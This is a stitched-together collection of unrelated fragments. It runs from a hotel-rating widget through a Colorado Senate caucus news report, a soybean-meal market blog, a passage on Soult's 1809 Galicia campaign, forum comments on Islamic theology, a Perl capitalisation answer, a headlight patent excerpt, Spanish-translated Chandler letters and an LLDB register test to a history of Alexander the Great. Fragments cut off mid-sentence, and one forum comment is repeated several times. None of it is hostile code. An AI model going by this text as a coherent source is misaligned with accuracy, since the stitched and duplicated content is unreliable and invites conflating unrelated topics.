06/09/2019 10.0 Maximalni spokojenost Nic Zdeněk Bednář (Family with older children) Date of visit: 13/07/2019 - 20/07/2019 - Rated on: 24/07/2019 9.4 Libil se mi tak klid a soukromi Bahen Confirm your ratingYour rating was successfully submitted but it is not visible yet. You have to confirm the rating. We have sent an e-mail to your e-mail address with a link for confirmation and check of the rating. Please confirm your rating.OkThe earliest possible date fordeparture isarrival isThe minimum capacity isThe maximum capacity isWith nearly every county reporting — Pueblo County is the only major county yet to report — Romanoff held a 51 percent to 42 percent lead over Bennet. Seven percent of caucus-goers said they were uncommitted. In a news release, Romanoff declared victory, calling the results a “shock wave” and said they reflect voter resentment of Washington politics and the big-money interests that contribute to it. The latter is a not-so-subtle shot at Bennet’s campaign coffers, which dwarf Romanoff’s. “We’re very encouraged by these results,” Romanoff said. “This is the first chance Main Street has had to weigh in. We’ve already heard from Washington and Wall Street.” Bennet’s campaign also called the results a victory, arguing that Romanoff’s margin of victory wasn’t as wide as they had expected. Craig Hughes, Bennet’s campaign manager, said Romanoff’s lengthy history of working within the state’s Democratic Party account for his strength with the party activists who make up most caucus-goers. Bennet, in a news release, said he was looking forward to the primary. “As someone who isn’t a political insider, tonight’s support is especially meaningful,” Bennet said. Romanoff scored the biggest coup of the night when he decisively won the preference polls taken in Denver precincts, 60 percent to 35 percent. That has helped him for the present to push away from Bennet in what had been a neck-and-neck contest during the night’s earliest returns. Bennet, though, has scored decisive wins of his own — most notably in Larimer County, where he won 58 percent to 38 percent. He also edged Romanoff in the Democratic stronghold of Boulder County, winning 47 percent to 46 percent. Neither candidate appeared to have an advantage in any particular corner of the state, as both have won counties in the mountains, the Eastern plains and southern Colorado. The main purpose of the caucuses is to begin the delegate-selection process that ends at the Democratic and Republican party assemblies in May. Candidates who receive at least 30 percent of delegates’ votes at those assemblies make the ballot for August’s primary elections. Candidates who participate in the process but fall short of 30 percent would have to petition to be onto the primary ballot. Most importantly, the caucuses provided the best chance yet for candidates to gauge support among voters. As such, candidates for weeks have worked insider channels — via direct mailings, automated phone calls and old-fashioned face-to-face contact — to woo the most die-hard members of their party that make up the caucuses’ participants. “Clearly the candidates think this is important,” said Denver pollster Floyd Ciruli. But it was also clear Tuesday evening that the caucuses meant more to some candidates than others. In the Democratic Senate race, for instance, Romanoff spent the last hours before the caucuses conducting interviews and visiting with party members. “I expect we will do fine,” Romanoff said. “…This is the first step in a long journey toward the nomination.” Bennet, by contrast, remained at work in Washington. Bennet campaign manager Craig Hughes said Bennet used the caucus process to bolster his campaign network but placed less emphasis on the outcome. “The caucus has been a great opportunity to do retail politics up close and build enthusiasm around the state,” Hughes said. Such a pattern suits the race’s theme, said Democratic political consultant Steve Welchert. Romanoff has campaigned as a candidate of the grassroots — making the caucuses a chance to prove himself to voters — while Bennet has focused on the larger electorate. “This is (Romanoff’s) chance to show that his challenge is worthy of their support,” Welchert said. Both candidates have tried to position themselves as outside-the-beltway choices. “I tell people all the time, ‘If you like the way Washington works, you should vote for somebody else,'” Romanoff said. Bennet touched on the same themes in his first campaign commercial, unveiled today. “I’ve been in Washington for only a year, but it didn’t take that long to see the whole place is broken,” Bennet says in the ad. More in Politics The Senate passed a sweeping criminal justice bill Tuesday that addresses concerns that the nation's war on drugs had led to the imprisonment of too many Americans for non-violent crimes without adequately preparing them for their return to society. Sen. Michael Bennet earlier this year took up the baton in a long effort to secure federal protection for 61,000 acres of wilderness in Colorado's San Juan Mountains. On Tuesday, the Democrat pleaded his case to Senate leadership as to why his San Juan Mountains Wilderness Act bill should be included in a year-end public lands deal now being considered.MGEX Research Joe Victor is a Business Development Specialist with Minneapolis Grain Exchange, Inc., where he monitors cash grain activity and cash grain opportunities. He provides marketing advice through this blog. Unique Circumstances When USDA released it initial 2008/09 World Agriculture Supply and Demand Estimates in June of 2008, projected United States soybean meal use was estimated at 31.8 million tonnes and most recently within the February 2009 WASDE suggests a level of 27.9 million tonnes. The number one annual US soybean meal user is poultry. Of the total annual soybean meal use, 50% is for US poultry, 25% for hogs, 13% for cattle, 6% dairy, 3% pet food and balance for others. It may come of little surprise with the chicks placement down 7% from June 2008 to present, USDA had little choice but to reduce soybean meal consumption. With livestock and poultry numbers down year on year, it may come as little surprise year on year soybean meal use is down 7.3%. What is unique is present projected usage for 2008/09 is down for a second consecutive year and has only occurred twice before dating back to the mid 1960’s. Most recently was 2002/03 and 2003/04 and a three year stretch from 1970/71 through the 1972/73. For every metric ton of soybean meal use eliminated, it represents 46.39 fewer bushels of soybeans use to manufacture the meal. Allendale is focusing on the weekly eggs set and chicks placed report from USDA as a key barometer as to projected use of soybean meal. As long as the trend remains downward for poultry numbers and a competitive feed fed per pound of gain of 1.8 to 1 vs pork at something closer to 2.75:1, we use the poultry market as potentially the first sector to realize notable positive profit margins. Until the downward trend of fewer livestock and poultry reverses and global economy becomes healthier, Allendale suggest old

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from Lugo to the plains of Leon. Soult had sent out Loison with one division by the road down the left bank of the Minho on June 1. He himself followed with the rest of the army on the next day. On the third the Marshal reached the little town of Monforte de Lemos, between the Minho and the Sil, which he found deserted by its inhabitants. In obedience to La Romana’s orders they had all gone up into the mountains. If Soult had been honestly desirous of carrying out his compact with Ney, his next step would have been to make a rapid march on Orense. He must have been able to calculate that his colleague would now be in touch with Noroña’s forces somewhere to the south of Corunna, and it was his duty to co-operate by descending the Minho in the enemy’s rear. The mere fact that he remained for the unconscionable space of eight days at Monforte, is a sufficient proof that he never intended to carry out his part of the compact. During this time [June 3-11], while Ney was fighting out to an unsuccessful end his campaign against Noroña, Soult was absolutely quiescent, at a place only thirty miles from his starting-point at Lugo. He was unmolested save by small bands of local guerrillas, who fled to the hills whenever they were faced. His official chronicler Le Noble pleads that there were no fords to be found either over the Minho or over the Sil[496]. But in eight days, unopposed by any serious enemy, the engineers of the 2nd Corps could certainly have built bridges if the Marshal had ordered them to do so. Meanwhile the troops rested, and rejoiced in the abundant supplies of food and wine which they gathered in from the neighbourhood, for Monforte lies in the centre of a fertile upland and its neighbourhood had never before suffered from the ills of war[497]. [496] Le Noble, p. 280. [497] Fantin des Odoards, p. 242. On the eleventh Soult at last moved on. But it was not in the direction of Orense. He had no news of Ney, and professed to be concerned that the 6th Corps had not yet been heard of on the Orense road. Finally he announced that he was compelled to believe that the Duke of Elchingen had not executed his part of the joint campaign[498], and that there was no longer any reason that the 2nd Corps should carry out its share of the plan. Accordingly he marched, not toward Ney, but in the opposite direction, up the valley of the Sil, with his face set towards the east. He pretended that he hoped to catch and disperse the corps of La Romana, to whom he attributed a design of marching on Puebla de Senabria--the same movement that the Marquis had executed once before in the first days of March. But as a matter of fact La Romana was at Orense, and far from having any intention of retreating eastward, if he were attacked by the 2nd Corps, he was looking on Portugal as his line of retreat[499]. [498] ‘Le Maréchal crut, _ou feignit de croire_, que Ney avait changé d’idée,’ says his aide-de-camp St. Chamans, p. 151. [499] La Romana writes to Carrol from Orense, on June 9, to say that he had been intending to march by cross-roads to fall on Ney’s flank, and so aid the division of Noroña. But Soult’s appearance at Monforte with 12,000 men [an under-estimate] compels him to remain behind to observe that marshal [Record Office]. On the thirteenth Soult reached Montefurado, where the Sil is bridged by masses of rocks which have fallen into its bed: the river forces its way beneath them by a tunnel sixty feet broad, which is supposed to have been cut by the Romans. Crossing on this natural bridge, he turned southward to follow the valley of the Bibey, which leads to Puebla de Senabria and the plains of Leon. He met no resistance save from the local insurgents, headed by the Abbot of Casoyo and a partisan called El Salamanquino, who received little or no aid from the regular army. Indeed the only Spanish troops in this remote corner of Galicia were 200 men under an officer called Echevarria, a dépôt left behind at Puebla de Senabria by La Carrera, when he had marched to Vigo in May. This handful of men joined the local guerrillas, and the appearance of their uniforms among the enemy’s ranks served Soult as an excuse for stating that he was contending with the army of La Romana. Any reader of his dispatches would conclude that during the last days of June he was opposed by a considerable body of that force. As a matter of fact he was never anywhere near the Galician army, which lay first at Orense, then at Celanova, finally at Monterey on the Portuguese frontier, always moving to the right, parallel with the Marshal’s advance, so as to avoid being outflanked on its southern wing. It was with the peasants of the valley of the Bibey alone that Soult had to do. Thrusting them to right and left, and cruelly ravaging the country-side on both banks of the river, he reached Viana on June 16. From thence Franceschi sent a flying expedition over the hills to La Gudina, on the road from Monterey to Puebla de Senabria. It brought back news that La Romana had come down to Monterey when the 2nd Corps moved to Viana, but that he was evidently not marching eastward. It had met and routed a party of Spanish cavalry sent out from Monterey[500]; the prisoners taken from them said that the Marquis was returning to Orense now that he had seen the 2nd Corps committing itself to an advance up the valley of the Bibey, and passing away in the direction of the plains of Leon. [500] Carrol was with this party. He had come out from Vigo to join La Romana, was at La Gudina on June 16, and retreated to Monterey when Franceschi attacked that point. The Marquis turned back when he saw Franceschi move off eastward, and retired to his old head quarters at Orense. If Soult had pushed westward, the Spaniards had the choice between the road to Chaves and that back to Orense, and were in no danger. It was while halting at Larouco, during this march, that Soult received the dispatch which Ney had written to him from Santiago on June 10. His reply, as we have already seen, was a peremptory refusal to turn back to the aid of the 6th Corps. He asserted that he had fulfilled his part of the bargain made at Lugo (which he assuredly had not), and refused to undertake any further offensive operations with troops in a state of utter destitution and fatigue. He declared to his staff, and wrote to King Joseph, that he believed that Ney had deliberately mismanaged his expedition against Vigo, and had suffered himself to be checked, in order to have an excuse for detaining the 2nd Corps in Galicia[501]. Why, he asked, had not the Duke of Elchingen sent a turning column against Orense, instead of making a frontal attack against the line of the Oitaben? The plain answer to this query--viz. that Ney with a field-force of only 10,000 men, and having three weak garrisons behind him, could not afford either to divide his army or to go too far from Corunna and Lugo--he naturally did not give. [501] ‘Il (Ney) m’engageait à rester en Galice, et me représentait qu’il pourrait résulter pour lui de fâcheuses conséquences si j’en sortais. Cette proposition m’étonna: il me parut que M. le Maréchal Ney se conduisait à m’obliger à rester en Galice: car certainement rien ne l’empêchait de manœuvrer sur Orense, tandis que moi-même j’agissais contre La Romana.... Je me crus encore plus obligé qu’auparavant de suivre mon premier projet.’ Soult to Joseph, June 25. Accordingly, on June 23, Soult abandoned the valley of the Bibey, and crossed the watershed of the Sierra Segundera in two columns, one descending on

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the rest of the family of "the boy" also died in a car-crash... To the author: come on, man. There are other ways to die. I won't comment on the religious aspect of the story (most of which I disagree with)... but I will say this one thing. Allah Ta'ala is the all-knowing, all-understanding, omniscient, omnipresent, ever-forgiving, most merciful entity... basically, something no humans can relate to. Why, then, will he be subject to petty human emotions such as vengeance, jealousy, "power-tripping?" What warrants the comparisons of such an incredible and unfathomable Power to parents who want obedience from kids (often just for the sake of obedience)? Every Sur'ah in the Qur'an starts with Bismillahir Rahmanir Rahim, and I believe that whole-heartedly. Look up the 99 names of Allah, and tell me how many paint him as a, as Zee put it, Jigsaw-esque torturer. None. Just my two cents. Banglaguy May 19, 2011, 03:08 PM Damn, just realized the parents and the rest of the family of "the boy" also died in a car-crash... To the author: come on, man. There are other ways to die. I won't comment on the religious aspect of the story (most of which I disagree with)... but I will say this one thing. Allah Ta'ala is the all-knowing, all-understanding, omniscient, omnipresent, ever-forgiving, most merciful entity... basically, something no humans can relate to. Why, then, will he be subject to petty human emotions such as vengeance, jealousy, "power-tripping?" What warrants the comparisons of such an incredible and unfathomable Power to parents who want obedience from kids (often just for the sake of obedience)? Every Sur'ah in the Qur'an starts with Bismillahir Rahmanir Rahim, and I believe that whole-heartedly. Look up the 99 names of Allah, and tell me how many paint him as a, as Zee put it, Jigsaw-esque torturer. None. Just my two cents. Some of the punishments and rewards in this are not entirely true I think, I mean.... kawser May 19, 2011, 09:02 PM scared the sh!t out of me!!! Sakib May 19, 2011, 09:39 PM I won't comment on the religious aspect of the story (most of which I disagree with)... but I will say this one thing. Allah Ta'ala is the all-knowing, all-understanding, omniscient, omnipresent, ever-forgiving, most merciful entity... basically, something no humans can relate to. Why, then, will he be subject to petty human emotions such as vengeance, jealousy, "power-tripping?" What warrants the comparisons of such an incredible and unfathomable Power to parents who want obedience from kids (often just for the sake of obedience)? Every Sur'ah in the Qur'an starts with Bismillahir Rahmanir Rahim, and I believe that whole-heartedly. Look up the 99 names of Allah, and tell me how many paint him as a, as Zee put it, Jigsaw-esque torturer. None. Just my two cents. if you only focus on attributes such as mercy and forgiveness, then you are missing half the story. just like what Mo in the tale believed. in Islam we believe Allah is JUST. and a just entity can't only be merciful. such an ever forgiving and merciful god is what christian's believe in, not us Muslims. and to illustrate the point, this is what Allah himself says in Quran: Know that Allah is Severe in punishment and that Allah is Oft-Forgiving, Most Merciful (5:98)Q: How to make only the first character in each word uppercase in Perl I have a string containing all uppercase words and I want to make only the first letter of each word uppercase or convert all but the first character to lowercase. I've been messing around with regex for a while and can't get it right. A: my $str = "FOOBAR FOOBAR"; $str =~ s/(\S+)/\u\L$1/g; print $str; output Foobar Foobar Check ucfirst and lc in perldoc. A: This is a perfect job for ucfirst(), no need regex here : $ echo 'FOO BAR BASE' | perl -nE '$_ = lc($_); say join " ", map { ucfirst $_ } split /\s/' Output: Foo Bar Base An optical module of this type, known from FR-A-2 840 389, produces an infrared secondary lighting beam in a zone situated above the cut-off, by means of a diffuser fixed to the front face of the shield. The area of illumination of the secondary beam is situated essentially above the optical axis and is off-center with respect to this axis. It is desirable to be able to perform other secondary functions, in particular a town lamp function or a DRL (Day Running Light) function in a headlight with an elliptical module with cut-off, for example a dipped headlight or a fog light. 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; tienen un sindicato y es posible que en una industria tan grande deban luchar como grupo; es obvio que no he hecho nada por ayudarlos a lograr lo que han logrado, y no es probable que lo haga, salvo indirectamente, ayudándolos a elevar unas pocas películas un poco por encima del nivel corriente. No es siquiera justo decir que están demasiado bien pagados; porque otros escritores como grupo están siniestramente mal pagados; Hollywood es la única industria en el mundo que paga a sus trabajadores los montos de dinero que en otras industrias solo ganan los capitalistas y los grandes ejecutivos. Si bien es algo menos que el ideal, es la única industria que intenta alcanzar el idealismo; si hace un arte malo, ninguna otra hace arte, salvo como subproducto de la ganancia. Si gana dinero con películas malas, podría hacer más dinero con películas buenas, y lo sabe y trata de hacerlas. Simplemente, no hay talento suficiente en el mundo con el cual hacerlas a esa escala. Sus películas cuestan demasiado y en consecuencia deben ser seguras y producir grandes ganancias; pero ¿por qué cuestan demasiado? Porque se paga a la gente que hace el trabajo. Si acapara todo el talento literario que hay en el mundo y después procede a destruirlo por el modo en que lo trata, ¿por qué tiene la capacidad de acaparar ese talento? Porque sabe cómo pagarlo. El hombre que publica mis libros ha ganado más conmigo que yo con él, y no lo ha hecho vendiendo los libros sino apoderándose de una tajada de los derechos de adaptación a la radio y al cine, cosa que no le costó un centavo. ¿Arriesgó algo con los libros? Por supuesto que no, ni un centavo. Estaba asegurado contra las pérdidas por las bibliotecas ambulantes. Ni siquiera sabe cómo vender la clase de libros que yo escribo, o cómo promoverlos o cómo hacer que los reseñen. Se limita a quedarse sentado y esperar que pase algo, y cuando pasa se frota las manos y se corta una buena tajada. Pero Hollywood me paga un gran sueldo solo por tratar de escribir algo que quizá pueda usar. Y cuando escribo algo que da ganancias, entonces rompe mi contrato y redacta uno mejor. No puedo despreciar a una industria que hace eso. #### A Charles Morton _1 de enero de 1945_ Tengo una historia en mente que espero escribir antes de morirme. No tendrá casi nada de dureza en la superficie, pero la actitud de mandarlo todo al infierno, que en mí no es una pose, probablemente aparecerá de todos modos. El nombre de mi tío dudosamente honesto (tío solo por matrimonio) era Ernest Fitt, y era inspector de calderas o algo así, al menos nominalmente. Ya murió. Lo recuerdo muy bien. Solía venir a casa por la noche, en el período de Plattsmouth, ponía el diario sobre el atril del piano e improvisaba mientras leía. Leí en alguna parte que Harold Bauer tocaba sus programas mientras leía el diario, pero siempre lo consideré un pianista aburrido, así que no me sorprende. Mi tío tenía talento, pero no había recibido educación musical. Tenía un hermano que era un personaje asombroso. Había sido empleado o gerente en un banco de Waterford, Irlanda (de donde venía toda la familia de mi madre, aunque ninguno de ellos era católico), y había robado dinero. Limpió la caja un sábado y, con ayuda de los masones, escapó de la policía yéndose al continente europeo. En un hotel de Alemania le robaron el dinero, o la mayor parte de él. Cuando lo conocí, mucho después, era un anciano extremadamente respetable, siempre vestido de punta en blanco y de una increíble parsimonia. Una vez me invitó a cenar. Después de la cena se inclinó sobre la mesa y me dijo en un susurro confidencial: «Cada cual pagará lo suyo». No tenía tampoco una gota de sangre escocesa. Puro irlandés protestante de clase media. Tengo muchísimos parientes irlandeses, algunos pobres, algunos no pobres, y todos protestantes y algunos independentistas y algunos enteramente probritánicos... Aquí la gente no entiende a los irlandeses. Un tercio de la población de Eire es protestante, y es de lejos el tercio más educado y más influyente. Casi todos los grandes rebeldes irlandeses fueron protestantes, y la tonalidad general de la nación en el presente es calvinista más que católica. Yo crecí con un terrible desprecio por los católicos, y todavía hoy tengo problemas con ellos. El ama de llaves esnob de mi tío no admitía criados católicos en la casa, aunque probablemente habrían sido mucho más útiles que la basura que empleaba. ¡Qué mundo! El desenlace divertido en el caso de mi tío fue que terminó con una amante judía en Londres, crió al hijo de ella, tuvo otros dos hijos ilegítimos, y al fin se casaron. ¡Pero nunca la llevó a Irlanda! Podría escribir un libro sobre esa gente, pero soy demasiado irlandés para poder decir la verdad sobre ellos. Bueno, Hollywood también tiene lo suyo. Me tienen bajo contrato, pero no me dan ninguna historia en la que trabajar. Así que pergeñé una idea y fui y se la conté y ellos se frotaron las manos y dijeron: «Perfecto, ¿cuándo empezamos?». Pero cuando mi agente preguntó cuánto se proponían pagar por la idea se rasgaron las vestiduras y se hicieron cruces. Fueron necesarias varias semanas de acerbo combate para hacerles ver la luz. No me importa nada el dinero, solo me gusta pelear. Soy un viejo cansado, pero se necesitaría algo más que un estudio cinematográfico para abusar de mí. #### A Dale Warren _7 de enero de 1945_ Dale Warren era director de publicidad de la editorial Houghton Mifflin. La relación de Chandler con Alfred Knopf se había agriado durante su período en Hollywood, a consecuencia de un incidente de plagio. Un admirador le había hecho notar que el escritor James Hadley Chase estaba copiando pasajes enteros de viejas ficciones de Chandler, sobre todo en un libro llamado _No hay orquídeas para Miss Blandish_ [ _No Orchids for Miss Blandish_ ]. Chandler se había puesto en contacto con sus editores británico y estadounidense. Mientras que Hamish Hamilton obligó a Chase a publicar una disculpa en la prensa británica, Knopf, por consejo de su abogado, decidió no presionar. Fastidiado, Chandler se pasó a Houghton Mifflin. Para acentuar el momento de cambio, estaba a punto de aprovechar la oportunidad de cambiar también de agente, dejando a Sydney Sanders por la firma de Nueva York Brandt & Brandt. Escribo melodramas porque cuando miré alrededor era la única clase de ficción que encontré relativamente honesta, además de que no me llevaba a entrometerme en terrenos ajenos. Ahora hay tipos hablando sobre la prosa, y otros diciéndome que yo tengo una conciencia social. Philip Marlowe tiene tanta conciencia social como un caballo. Tiene una conciencia personal, que es algo por completo diferente. Hay gente que

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mm27 "{0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x3a}" register write ymm28 "{0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x3a 0x3b}" register write ymm29 "{0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x3a 0x3b 0x3c}" register write ymm30 "{0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x3a 0x3b 0x3c 0x3d}" register write ymm31 "{0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x3a 0x3b 0x3c 0x3d 0x3e}" process continue # CHECK: process continue # CHECK-DAG: zmm16 = { 0x10 0x11 0x12 0x13 0x14 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 } # CHECK-DAG: zmm17 = { 0x11 0x12 0x13 0x14 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 } # CHECK-DAG: zmm18 = { 0x12 0x13 0x14 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 } # CHECK-DAG: zmm19 = { 0x13 0x14 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 } # CHECK-DAG: zmm20 = { 0x14 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 } # CHECK-DAG: zmm21 = { 0x15 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 } # CHECK-DAG: zmm22 = { 0x16 0x17 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31 0x32 0x33 0x34 0x35 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0xf0 0

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or, and he was snowed under by official inquiries, to which he would be obliged to reply when decisions were required. A secretary, an intelligent young Greek called Eumenes, managed the king's correspondence. He had worked for Philip and had the rare virtue of being popular with Olympias. The complicated issues Alexander had to adjudicate by long distance are well exemplified by the crisis at Eresos, a hill town by the sea on the island of Lesbos. It was a place of no importance, but its politics were savage. Alexander never went there, but found himself having to intervene by letter in its affairs more than once. During the 350s, three brothers seized power as joint tyrants (the word signified an authoritarian ruler but did not have pejorative connotations). At some point the brothers were expelled, and early in Alexander's reign two new tyrants emerged who were pro-Persian. After Granicus, Alexander had these men removed from office and (presumably) a democracy installed, but during Memnon's brief but effective maritime campaign they were reinstated. Then the town was liberated again and the ci-devant tyrants were sent to Alexander, then in Egypt, for judgment. He sent them back, accompanied by a letter telling the people of Eresos to set up a court to decide themselves what should be done with them. This was arranged, the men were condemned to death and, it would appear, executed. The family of the tyrant brothers now sent a delegation to ask the king to reinstate them. So Alexander wrote to Eresos about this. According to fragments of a marble inscription, the king ruled that > the people should decide whether or not they should be allowed to return; the people hearing the edict set up a court for them, in accordance with the law and the edict of king Alexander, and when speeches had been made on both sides decided that the law against the tyrants should be valid and that they should be exiled from the city. Plutarch reports an instructive comment of the Roman emperor Augustus, who expressed his surprise that Alexander did not regard it as a greater task to set in order the empire he had won than to win it. The criticism does not appear to be well-founded. Although our sources pay scant attention to matters of governance, inscriptions found at the site of ancient cities, such as those from Eresos, suggest that the king took an active interest in administration. Either he personally, or his staff, kept a close eye on the political activity and legislation of local communities. What is more, the attention the king gave to the logistics of a military campaign and his careful management of his soldiers' welfare are evidence that he was a human-resources manager of the first order. We know too little of that aspect of his leadership skills to say much more. * * * — ALEXANDER OFTEN CORRESPONDED WITH his mother, usually to fend off her many complaints. But she did also interest herself in his creature comforts: we are told that she urged her son to buy a slave of hers who was highly skilled at ritual cooking. Like many of the king's inner circle, Olympias could not stand Hephaestion, rival as he was for her son's undivided love and attention. However, Hephaestion gave as good as he got. When she sent him threatening letters, he responded in high dudgeon: "Stop quarrelling with us and do not be angry or menacing. If you keep on, we won't pay much attention. You know that Alexander means more to us than anything." We can imagine the fury he aroused in Olympias by his use of the royal "we" with reference to himself. He surely meant to tease. He was certain of his place in his lover's heart and could risk goading his impossible "mother-in-law." But the king did not allow him a completely free hand, for as a rule he kept Olympias's letters to himself. Otherwise, they regularly went through the post together. On one occasion, though, Hephaestion's eye fell on a missive from Olympias that had already been opened. Alexander let him read it, but took off his ring and pressed the seal to Hephaestion's lips, "so much as to tell him not to say a word." Alexander liked to keep in touch with his friends and share the ups and downs of everyday life. He wrote to them fondly when they were away. They were all keen hunters, for whom any animal with legs was a fair target. He wrote to a Companion who had been bitten by a bear, complaining that everyone else had heard of the incident except for himself. "Now," he went on, "you must write to tell me how you are, and whether you were let down by any of your fellow-huntsmen, so that I can punish them." The sting in the tail was meant as a joke rather than a serious threat. The king had a heavy-handed sense of humor. Another day he was out hunting a mongoose when Craterus accidentally wounded another general, Perdiccas, in the thigh. Alexander wrote to inform Hephaestion, who happened to be absent on a mission. Hephaestion was not well liked by his colleagues, but he and Perdiccas got on and the news must have worried him. The injured man survived. Slavery was endemic in Mediterranean societies and domestic slaves were numberless. To be useful, they had to be allowed freedom of movement and, understandably, some took the opportunity to run away. The king somehow found time to help retrieve friends' slaves. He ordered a search to be made for one runaway and sent a letter of congratulation on the discovery and arrest of another. In the case of a third, who had sought sanctuary in a temple, the king advised caution. The man should be lured out and not taken by force from a sacred precinct. The son of Zeus always respected the gods. * * * — THE GREAT KING, WHILING AWAY the winter in Ecbatana, had no intention of giving up the struggle. He had with him a substantial force (if much reduced from the usual multitude) of thirty thousand infantry. They included a fiercely loyal regiment of mercenary Greeks under the command of Patron, a man from the home of the Delphic oracle, Phocis. Alexander saw them as traitors, for they had fought against his Hellenic crusade. They would never be allowed home, and if captured they faced a bleak fate. They had no choice but to be steadfast. Bessus, the able and energetic satrap of Bactria, led a formidable troop of 3,300 horse. Four thousand slingers and archers completed the complement. This was not a large enough army to defeat the Macedonians in a third trial of arms, and the Great King sent round to the eastern satrapies calling for soldiers. He was awaiting the requested reinforcements. But spring had arrived and with it reports that his nemesis was closing in. There was no alternative but to hurry off to the increasingly remote provinces of Hyrcania, Parthia, Bactriana, and Sogdiana. Space would buy time, and time would buy soldiers. But time would lose him soldiers, too, for withdrawal from Ecbatana opened important allies, the Cadusii and the Scythians, to Macedonian attack At one point Darius ordered his army to veer off the military road a little, telling the camp followers and the men guarding the baggage to go on ahead. He then called a meeting of his council. Among its members were his chief executive officer or chiliarch, Nabarzanes, and Artabazus, who was the father of Alexander's mistress Barsine but nevertheless a faithful servant of the Great King. Satraps from the east were also present. The mood must have been gloomy, but everyone protested their loyalty. Below the surface, though, these high officials of empire were weighing their options. Darius's withdrawal after Gaugamela had depressed morale, and Alexander's obvious desire for continuity meant that jobs, position, life could be maintained under the new regime. Treason could be presented as being in the public interest. Artabazus gave a rousing speech: "We shall follow our king into battle," he said, "dressed in our richest robes and equipped with our finest armor." But with no troops forthcoming from the east, the satraps saw little advantage in throwing away good men after bad. They sat on their hands. Behind the scenes, Nabarzanes and Bessus made common cause. They decided to arrest the Great King. Curtius writes: > They reasoned that if Alexander overtook them they could ingratiate themselves with the victor by handing over their king alive—he was sure to set great store by the capture of Darius—whereas, if they managed to get away from him, they would kill Darius, seize his 